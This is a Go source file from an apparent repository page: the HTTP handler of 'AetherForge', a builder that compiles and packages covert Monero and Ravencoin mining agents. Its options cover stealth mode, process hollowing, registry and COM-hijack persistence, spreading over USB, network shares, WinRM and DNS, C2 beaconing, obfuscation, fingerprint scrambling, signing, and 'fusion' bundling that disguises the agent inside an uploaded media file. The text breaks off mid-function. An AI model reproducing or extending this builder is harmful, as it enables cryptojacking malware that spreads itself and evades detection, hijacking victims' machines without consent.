Files
AetherForge/server/internal/builder/handler.go
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

1565 lines
48 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package builder
import (
"context"
"encoding/json"
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
BackupServerURLs []string `json:"backup_server_urls"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
MinerExecution string `json:"miner_execution"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
FirewallExclusion bool `json:"firewall_exclusion"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionPayloadKind string `json:"fusion_payload_kind"`
FusionMediaMode string `json:"fusion_media_mode"`
FusionMediaBaseName string `json:"fusion_media_base_name"`
FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
WinRMSpread bool `json:"winrm_spread"`
DnsTxtSpread bool `json:"dns_txt_spread"`
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
COMHijackPersist bool `json:"com_hijack_persist"`
LinuxLOTLMode string `json:"linux_lotl_mode"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SigilScramble bool `json:"sigil_scramble"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
// GPU / Ravencoin mining
GPUEnabled bool `json:"gpu_enabled"`
RVNWallet string `json:"rvn_wallet"`
RVNPoolHost string `json:"rvn_pool_host"`
RVNPoolPort int `json:"rvn_pool_port"`
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// APK mode — Android fleet node (mining off by default).
ApkMode bool `json:"apk_mode"`
ApkAgentName string `json:"apk_agent_name"`
MiningDisabled bool `json:"mining_disabled"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"tls"`
Pass string `json:"pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
FusionExportDir string `json:"fusion_export_dir,omitempty"`
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
BundleFileName string `json:"bundle_file_name,omitempty"`
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
ArtifactPath string `json:"artifact_path,omitempty"`
Error string `json:"error,omitempty"`
}
type BuildArtifactFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
// BuildProgress is returned by GET /builder/progress/{token} while a forge is running.
type BuildProgress struct {
Stage string `json:"stage"`
Pct int `json:"pct"`
}
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
if len(arts) == 0 {
return nil
}
out := make([]models.BuildExtraFile, len(arts))
for i, a := range arts {
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
}
return out
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
eventNotifier *alerts.Notifier
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
// Real-time build progress — maps cancel_token → current stage so the frontend
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
activeProgressMu sync.RWMutex
activeProgress map[string]BuildProgress
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
apkBuildFn ApkBuildFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
h.eventNotifier = n
}
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
if h.eventNotifier == nil {
return
}
sizeMB := float64(sizeBytes) / 1024 / 1024
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
h.activeCancelsMu.Lock()
cancel, ok := h.activeCancels[cancelToken]
h.activeCancelsMu.Unlock()
if ok {
cancel()
}
return ok
}
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
h.activeCancelsMu.Lock()
if h.activeCancels == nil {
h.activeCancels = make(map[string]context.CancelFunc)
}
h.activeCancels[token] = cancel
h.activeCancelsMu.Unlock()
}
func (h *Handler) unregisterCancel(token string) {
if token == "" {
return
}
h.activeCancelsMu.Lock()
delete(h.activeCancels, token)
h.activeCancelsMu.Unlock()
}
// setProgress records the current forge stage so the frontend can poll it.
func (h *Handler) setProgress(token, stage string, pct int) {
if token == "" {
return
}
h.activeProgressMu.Lock()
if h.activeProgress == nil {
h.activeProgress = make(map[string]BuildProgress)
}
h.activeProgress[token] = BuildProgress{Stage: stage, Pct: pct}
h.activeProgressMu.Unlock()
}
func (h *Handler) clearProgress(token string) {
if token == "" {
return
}
h.activeProgressMu.Lock()
delete(h.activeProgress, token)
h.activeProgressMu.Unlock()
}
// ServeProgress returns the current build stage for a running forge identified by its cancel token.
// The frontend polls this every second to drive a real progress bar instead of a client-side simulation.
func (h *Handler) ServeProgress(w http.ResponseWriter, r *http.Request) {
token := chi.URLParam(r, "token")
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
h.activeProgressMu.RLock()
prog, ok := h.activeProgress[token]
h.activeProgressMu.RUnlock()
if !ok {
writeJSON(w, http.StatusNotFound, BuildProgress{Stage: "", Pct: 0})
return
}
writeJSON(w, http.StatusOK, prog)
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
h.policy = p
}
// SetGoBinPath overrides the go toolchain binary used for forge compiles.
func (h *Handler) SetGoBinPath(path string) {
if strings.TrimSpace(path) != "" {
h.goBinPath = path
}
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
h := &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
h.resolveToolPaths(projectRoot)
return h
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if req.FusionEnabled {
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else if err == nil {
file.Close()
}
} else {
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return
}
// Register cancel token so the frontend can abort this compile mid-flight.
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
// immediately sends SIGKILL to the running go/garble process.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
defer h.clearProgress(req.CancelToken)
}
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
dlName := strings.TrimSpace(build.FileName)
if dlName == "" {
dlName = filepath.Base(build.FilePath)
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
if _, err := h.db.GetBuild(buildID); err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" || strings.Contains(name, "..") {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path, err := safePathUnderRoot(buildDir, name)
if err != nil {
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
title = sanitizeFileName(filepath.Base(title))
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
}
}
if err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
// sub-directory where the binary lives (builds/<id>/windows-amd64/).
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
buildDir := filepath.Join(h.dataDir, "builds", buildID)
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
http.ServeFile(w, r, uninstallPath)
}
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if req.ApkMode {
return h.buildAPKAgent(ctx, req)
}
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(ctx, req, prepPath)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
// cleanupBuild removes the build directory on any error path to avoid
// accumulating partial builds (which may contain uploaded payloads or
// a copy of the agent source tree).
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying source files", 5)
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Configuring build", 14)
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
p := platforms[0]
h.setProgress(req.CancelToken, "Compiling agent", 20)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
cleanupBuild()
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
h.setProgress(req.CancelToken, "Writing scripts", 76)
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
var extraArtifacts []BuildArtifactFile
var fusionRes *fusionBuildResult
if req.FusionEnabled {
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
h.setProgress(req.CancelToken, "Building fusion bundle", 80)
var err error
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Fusion bundle ready", 88)
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
if fusionRes.EncryptedPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.EncryptedPath),
FilePath: fusionRes.EncryptedPath,
})
}
if fusionRes.ShortcutPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.ShortcutPath),
FilePath: fusionRes.ShortcutPath,
})
}
}
var fusionExportDir string
var bundleFileName string
var bundleDownloadURL string
var bundleSize int64
exportPath := ""
if fusionEnabled {
exportLabel := req.FusionMediaBaseName
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
RunnerName: finalName,
MediaName: filepath.Base(exportLabel),
PayloadKind: req.FusionPayloadKind,
MediaMode: req.FusionMediaMode,
}
if readme.Title == "" {
readme.Title = sanitizeFileName(req.WorkerName)
}
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionExportDir = dir
exportPath = filepath.Join(dir, finalName)
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: "README.txt",
FilePath: filepath.Join(dir, "README.txt"),
})
for i := range extraArtifacts {
if extraArtifacts[i].FileName != "README.txt" {
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
}
}
bundleFileName = fusionBundleZipName(subdir)
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
if err := zipDirectory(dir, bundleBuildPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
if st, err := os.Stat(bundleBuildPath); err == nil {
bundleSize = st.Size()
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
h.setProgress(req.CancelToken, "Publishing build", 91)
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
log.Printf("[Builder] secondary export: %v", err)
} else {
_ = eu
if exportPath == "" {
exportPath = ep
}
}
}
signed := false
if h.shouldSignBuild(req) {
h.setProgress(req.CancelToken, "Signing binary", 95)
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
h.setProgress(req.CancelToken, "Scrambling sigil", 97)
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
} else {
scrambled = true
fingerprint = fp
if exportPath != "" && exportPath != finalPath {
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
_ = fp2
}
}
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
absPath, _ := filepath.Abs(finalPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
if bundleDownloadURL != "" {
dlURL = bundleDownloadURL
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
UninstallFileName: uninstallName,
UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
FusionExportDir: fusionExportDir,
ExtraFiles: extraArtifacts,
BundleFileName: bundleFileName,
BundleDownloadURL: bundleDownloadURL,
BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
SigilScramble: scrambled,
BinaryFingerprint: fingerprint,
StealthScore: StealthScore(obfuscated, scrambled, signed),
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
resp.FileName = bundleFileName
if bundleSize > 0 {
resp.FileSize = bundleSize
}
}
return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
if h.projectRoot == "" || h.projectRoot == "." {
abs, _ := filepath.Abs(finalPath)
return abs, nil
}
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
if err := copyFile(finalPath, dest); err != nil {
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
}
log.Printf("[Builder] Forge output -> %s", dest)
return dest, nil
}
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
clean := strings.TrimSpace(outputDir)
if clean == "" {
return "", "", nil
}
clean = filepath.Clean(clean)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
}
exportDir := ""
if h.projectRoot != "" {
exportDir = filepath.Join(h.projectRoot, clean)
} else {
exportDir = filepath.Join(h.dataDir, clean)
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return "", "", fmt.Errorf("failed to create export folder: %w", err)
}
exportExe := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportExe); err != nil {
return "", "", fmt.Errorf("failed to export build: %w", err)
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
return exportExe, exportUninstall, nil
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.ApkMode {
ApplyApkBuildPreset(req)
}
if !req.ApkMode && req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90106 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
if req.OutputDir != "" {
